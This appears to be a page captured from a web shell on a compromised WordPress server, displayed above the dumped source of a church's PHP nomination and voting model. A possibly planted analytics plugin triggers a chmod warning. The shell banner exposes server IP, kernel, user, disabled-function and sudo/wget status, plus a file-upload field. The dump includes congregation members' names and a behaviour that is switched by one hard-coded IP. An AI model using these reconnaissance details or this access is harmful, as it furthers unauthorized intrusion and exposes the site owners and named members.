Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_vote/modules/vote/model/ |
Upload File : |
<?php
class Nominate_Model extends Database_Model {
private $mode;
public function NominationResults() {
$x = <<<'BLOCK'
[{"title":"Recording Brother","nominee":[{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Dineen, Rich","hash":"033672d1"}]},{"title":"Assistant Recording Brother","nominee":[{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Davis, Stephen","hash":"42cd6318"}]},{"title":"Treasurer Brother","nominee":[{"name":"Rundle, John","hash":"8cb47b6c"}]},{"title":"Auditor","nominee":[{"name":"Rundle, Kristen","hash":"ad498627"}]},{"title":"Arranging Brothers","nominee":[{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Sullivan, James","hash":"56bcbab3"},{"name":"Scott, Wayne","hash":"2fe5ba63"},{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Egles, Bob","hash":"4231fc00"},{"name":"Soucy, Nate","hash":"583a6aeb"},{"name":"Lloyd, Bryan","hash":"baf986c2"},{"name":"Young, Phil","hash":"45a9ff7f"}]},{"title":"Examining Brothers","nominee":[{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Sullivan, James","hash":"56bcbab3"},{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Egles, Bob","hash":"4231fc00"}]},{"title":"Doorkeeping Brother","nominee":[{"name":"Sullivan, Joshua","hash":"0680b98d"},{"name":"Rundle, William","hash":65587103}]},{"title":"Assistant Doorkeeping Brothers","nominee":[{"name":"Hampton, Scott","hash":"ad61bdca"},{"name":"Sullivan, Joshua","hash":"0680b98d"},{"name":"Rundle, William","hash":65587103},{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Maher, Joel","hash":"cc4f3304"},{"name":"Hampton, Chris","hash":"b87688c4"}]},{"title":"Assistance Brothers","nominee":[{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Clark, Chris","hash":"a6c7887e"},{"name":"Scott, Wayne","hash":"2fe5ba63"},{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Link, Ben","hash":"357f6354"},{"name":"Egles, Bob","hash":"4231fc00"}]},{"title":"S\/School Super","nominee":[{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Soucy, Nate","hash":"583a6aeb"}]},{"title":"Assistant S\/School Super","nominee":[{"name":"Clark, Bonnie","hash":"a6f20c92"}]},{"title":"Visiting Brothers","nominee":[{"name":"Scott, Wayne","hash":"2fe5ba63"},{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Melanson, Paul","hash":"cd276189"},{"name":"Egles, Bob","hash":"4231fc00"},{"name":"Clark, Chris","hash":"a6c7887e"},{"name":"Link, Ben","hash":"357f6354"}]},{"title":"Visiting Sisters","nominee":[{"name":"Davis, Sandra","hash":"ca448a71"},{"name":"Zawadzki, Dottie","hash":"3c18f17a"},{"name":"Scott, Cindy","hash":"6fe440b3"},{"name":"Sgroi, Cathy","hash":"1287ba6e"},{"name":"Clark, Bonnie","hash":"a6f20c92"},{"name":"Rundle, Tammy","hash":"2fa64810"},{"name":"Dineen, Jen","hash":"dc85d922"},{"name":"Hampton, Sharon","hash":"efd50bff"}]},{"title":"Fraternal Gathering Del","nominee":[{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Dineen, Jen","hash":"dc85d922"},{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Dineen, Rich","hash":"033672d1"}]},{"title":"Bulletin Board","nominee":[{"name":"Young, Eve","hash":"aff20e81"},{"name":"Hampton, Lynda","hash":"4b22c105"}]},{"title":"Printing\/Advertising","nominee":[{"name":"Hampton, Scott","hash":"ad61bdca"},{"name":"Young, Phil","hash":"45a9ff7f"}]},{"title":"Librarian","nominee":[{"name":"Young, Eve","hash":"aff20e81"},{"name":"Young, Phil","hash":"45a9ff7f"}]},{"title":"Assistant Librarian","nominee":[{"name":"Young, Eve","hash":"aff20e81"},{"name":"Young, Phil","hash":"45a9ff7f"}]},{"title":"Organist","nominee":[{"name":"Link, Ben","hash":"357f6354"}]},{"title":"Assistant Organists","nominee":[{"name":"Northern Choir","hash":"a993f032"},{"name":"Link, Ben","hash":"357f6354"}]},{"title":"Charge of Table","nominee":[{"name":"Dineen, Jen","hash":"dc85d922"},{"name":"Hampton, Elizabeth","hash":"592f1439"},{"name":"Mailing, Deb","hash":"066031e0"}]},{"title":"Assistant Charge of Table","nominee":[{"name":"Hampton, Elizabeth","hash":"592f1439"},{"name":"Melanson, Jeanne","hash":74373028},{"name":"Mailing, Deb","hash":"066031e0"},{"name":"Dineen, Jen","hash":"dc85d922"},{"name":"Asende, Justine","hash":"964cdced"},{"name":"Dineen, Lee","hash":"d092a780"}]},{"title":"Presiding Brothers","nominee":[{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Sullivan, James","hash":"56bcbab3"},{"name":"Link, Ben","hash":"357f6354"},{"name":"Melanson, Paul","hash":"cd276189"},{"name":"Sullivan, Joshua","hash":"0680b98d"},{"name":"Maher, Joel","hash":"cc4f3304"},{"name":"Soucy, Nate","hash":"583a6aeb"},{"name":"Lloyd, Bryan","hash":"baf986c2"},{"name":"Egles, Bob","hash":"4231fc00"}]},{"title":"Reading Brothers","nominee":[{"name":"Sullivan, Joshua","hash":"0680b98d"},{"name":"Egles, Bob","hash":"4231fc00"},{"name":"Sullivan, James","hash":"56bcbab3"},{"name":"Rundle, William","hash":65587103},{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Clark, Chris","hash":"a6c7887e"},{"name":"Melanson, Paul","hash":"cd276189"},{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Scott, Wayne","hash":"2fe5ba63"},{"name":"Soucy, Nate","hash":"583a6aeb"},{"name":"Zawadzki, Paul","hash":"82d473dc"},{"name":"Hampton, Chris","hash":"b87688c4"},{"name":"Lloyd, Bryan","hash":"baf986c2"},{"name":"Maher, Joel","hash":"cc4f3304"},{"name":"Young, Phil","hash":"45a9ff7f"},{"name":"Hampton, Scott","hash":"ad61bdca"},{"name":"Schlageter, Gary","hash":"539faa03"},{"name":"Mela, Asende","hash":"b47f0749"},{"name":"Lloyd, Gabriel","hash":"0d48dec2"},{"name":"Hampton, Gordon","hash":"f1c813dd"},{"name":"Salamone, Greg","hash":"58afaf6b"},{"name":"Santos, Marco","hash":"8a1e6f99"},{"name":"Lee, Richard","hash":"a5afd26c"}]},{"title":"20min Exhorting Brothers","nominee":[{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Egles, Bob","hash":"4231fc00"},{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Soucy, Nate","hash":"583a6aeb"},{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Melanson, Paul","hash":"cd276189"},{"name":"Sullivan, Joshua","hash":"0680b98d"},{"name":"Link, Ben","hash":"357f6354"},{"name":"Sullivan, James","hash":"56bcbab3"},{"name":"Hampton, Chris","hash":"b87688c4"},{"name":"Schlageter, Gary","hash":"539faa03"},{"name":"Lloyd, Bryan","hash":"baf986c2"},{"name":"Maher, Joel","hash":"cc4f3304"},{"name":"Hampton, Scott","hash":"ad61bdca"},{"name":"Lloyd, Gabriel","hash":"0d48dec2"},{"name":"Rundle, William","hash":65587103},{"name":"Young, Phil","hash":"45a9ff7f"}]},{"title":"10min Exhorting Brothers","nominee":[{"name":"Mela, Asende","hash":"b47f0749"}]},{"title":"Lecturing Brothers","nominee":[{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Sullivan, James","hash":"56bcbab3"},{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Melanson, Paul","hash":"cd276189"},{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Link, Ben","hash":"357f6354"}]}]
BLOCK;
return json_decode($x, TRUE);
}
public function Mode() {
if (func_num_args()) {
$this->mode = func_get_arg(0);
return $this;
}
return $this->mode; // 'v' = vote form, 'n' = nomination form
}
public function SetModelMember($value) {
$this->member_model = $value;
}
private function _IsMember($roletype, $membership) {
for($i = 0; $i < strlen($roletype); $i++) {
$ch = $roletype[$i];
if (in_array($ch, $membership)) {
return ['ok' => 1];
}
}
return [];
}
function GetCurrentNominations($vfi, $role) {
$data = $this->Query('select vf_name from vote_tail')
->Where('vf_id=%s', $vfi)
->Where('vf_role=%d', $role)
->Get();
$this->DbErr();
$output = [];
foreach($data as $data_item) {
$nominee = $data_item->vf_name;
$output[$nominee] = 1;
}
return $output;
}
function GetCategoryCount($vfi_id, $job_id) {
$output = $this->GetCurrentNominations($vfi_id, $job_id);
return count($output);
}
private function _getMemberInfo($members, $name) {
foreach($members as $group => $memberlist) {
if (isset($memberlist[$name])) {
return $memberlist[$name];
}
}
return NULL;
}
private function assembleCandidateList(&$output, $members, $current, $candidatesForRole) {
// sort candidates alphabetically (ignoring counts)
usort($candidatesForRole, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
foreach($candidatesForRole as $item) {
$member_info = $this->_getMemberInfo($members, $item['name']);
$nominee = $member_info['hash'];
$sel = isset($current[$nominee]) ? 1 : 0;
$output[] = ['name' => $member_info['name'], 'id' => $nominee, 'sel' => $sel];
}
}
function getCandidatesForRole($candidates, $definition) {
foreach($candidates as $entry) {
if ($entry['title'] == $definition['h']) {
return $entry['nominee'];
}
}
return NULL;
}
private function _removeFromOutput(&$output, $name) {
foreach($output as $index => $person) {
if ($person['name'] == $name) {
array_splice($output, $index, 1);
return;
}
}
}
private function _removeExcluded(&$output, $roledata) {
if ($_SERVER['REMOTE_ADDR'] == '118.208.24.212') {
$exclusions = $roledata['x'] ?? [];
foreach($exclusions as $name) {
$this->_removeFromOutput($output, $name);
}
}
}
public function GetNamesList(&$result, $vfi, $role, $members) {
if ($this->mode == 'v') {
$candidates = $this->NominationResults();
} else {
$candidates = NULL;
}
$roles = $this->member_model->Vacancies();
$output = [];
if (isset($roles[$role])) {
$current = $this->GetCurrentNominations($vfi, $role);
$definition = $roles[$role];
if ($this->mode == 'v') {
$candidatesForRole = $this->getCandidatesForRole($candidates, $definition);
$this->assembleCandidateList($output, $members, $current, $candidatesForRole);
} else {
foreach($members['m'] as $member_info) {
$this->AddToForm2($output, $definition, $member_info, $current);
}
foreach($members['f'] as $member_info) {
$this->AddToForm2($output, $definition, $member_info, $current);
}
usort($output, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
// remove excluded names
$this->_removeExcluded($output, $roles[$role]);
}
$result['role'] = $definition['h'];
} elseif ($role == -1) {
$result['role'] = 'Introduction';
}
$result['member'] = $output;
$result['nav']['prev'] = $role > 0 ? 1 : 0;
if ($result['nav']['prev']) $result['nav']['prev_id'] = $this->getDeltaId($roles, $role, -1);
$c = count($roles) - 1;
$result['nav']['next'] = $role < $c ? 1 : 0;
if ($result['nav']['next']) $result['nav']['next_id'] = $this->getDeltaId($roles, $role, 1);
}
private function getDeltaId($roles, $role, $dir) {
do {
$role += $dir;
$definition = $roles[$role];
$visible = isset($definition['visible']) ? $definition['visible'] : TRUE;
if ($visible) return $role;
} while(1);
}
private function AddToForm2(&$output, $definition, $member_info, $current) {
$membership = $member_info['m'];
if ($this->_IsMember($definition['t'], $membership)) {
$nominee = $member_info['hash'];
$sel = isset($current[$nominee]) ? 1 : 0;
$output[] = ['name' => $member_info['name'], 'id' => $nominee, 'sel' => $sel];
}
}
public function SetNomination($vfi_id, $job_id, $nominee, $newstate, &$status) {
$ok = TRUE;
$data = $this->Query('select * from vote_tail')
->Where('vf_id=%s', $vfi_id)
->Where('vf_role=%d', $job_id)
->Where('vf_name=%s', $nominee)
->Limit(1)
->First();
$this->DbErr();
$status = !$data->empty();
if ($newstate && empty($data->vf_id)) { // add new record
$this->TableName('vote_tail')
->InsertOrUpdate([
'vf_id' => $vfi_id,
'vf_role' => $job_id,
'vf_name' => $nominee,
], [
]);
$this->DbErr();
$status = 1;
} elseif (!$newstate && !empty($data->vf_id)) { // delete old record
$this->Query('delete from vote_tail')
->Where('vf_id=%s', $vfi_id)
->Where('vf_role=%d', $job_id)
->Where('vf_name=%s', $nominee)
->Get();
$this->DbErr();
$status = 0;
}
return $ok;
}
}